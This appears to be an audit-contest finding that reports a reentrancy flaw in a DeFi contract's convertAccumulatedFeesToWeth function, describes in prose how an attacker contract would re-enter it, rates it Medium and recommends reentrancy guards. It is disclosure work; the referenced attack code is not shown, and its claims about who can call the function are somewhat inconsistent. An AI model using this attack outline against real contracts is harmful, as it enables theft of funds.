The convertAccumulatedFeesToWeth
function is vulnerable to reentrancy attacks due to external calls made before updating the contract's internal state, risking unauthorized fund manipulation.
Despite the access control provided by the onlyMarketMakingEngine
modifier, the lack of additional authorization checks permits a compromised MarketMakingEngine to withdraw funds on behalf of any user, representing a significant security risk that must be mitigated.
The convertAccumulatedFeesToWeth function in the contract is designed to convert accumulated fees from various assets into WETH. This function performs external calls to swap strategies, such as executeSwapExactInputSingle
or executeSwapExactInput
, before updating the contract's internal state.
This sequence of operations exposes the function to reentrancy attacks, where an attacker can re-enter the function during the external call and manipulate the receivedWethX18
value or other state variables. This breaks the security guarantee of maintaining consistent state and protecting against unauthorized fund withdrawals. A malicious actor could exploit this by crafting a reentrant contract that calls back into the function, leading to potential financial losses and system instability.
Rating this as Medium
because it can lead to unauthorized manipulation of funds and inconsistent contract state. However, the likelihood depends on the security of the external swap strategy contracts. Nonetheless, the complexity of executing a successful reentrancy attack may deter some attackers, but the potential for exploitation remains.
Sample malicious contract:
The attacker deploys the ReentrancyAttack
contract with parameters that satisfy the vulnerable function's requirements.
attack()
is called, the contract invokes convertAccumulatedFeesToWeth
on the target. During its execution, the vulnerable function makes an external call (to a swap strategy), which triggers the fallback function in ReentrancyAttack
.
The fallback function checks if the reentrant call has not yet been made and then re-enters convertAccumulatedFeesToWeth
before the internal state is updated, allowing the attacker to manipulate the reward distribution or state variables.
Manual Review
Implement reentrancy guards to prevent re-entry into the function during external calls. Use the Checks-Effects-Interactions pattern to update the contract's state before making external calls.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.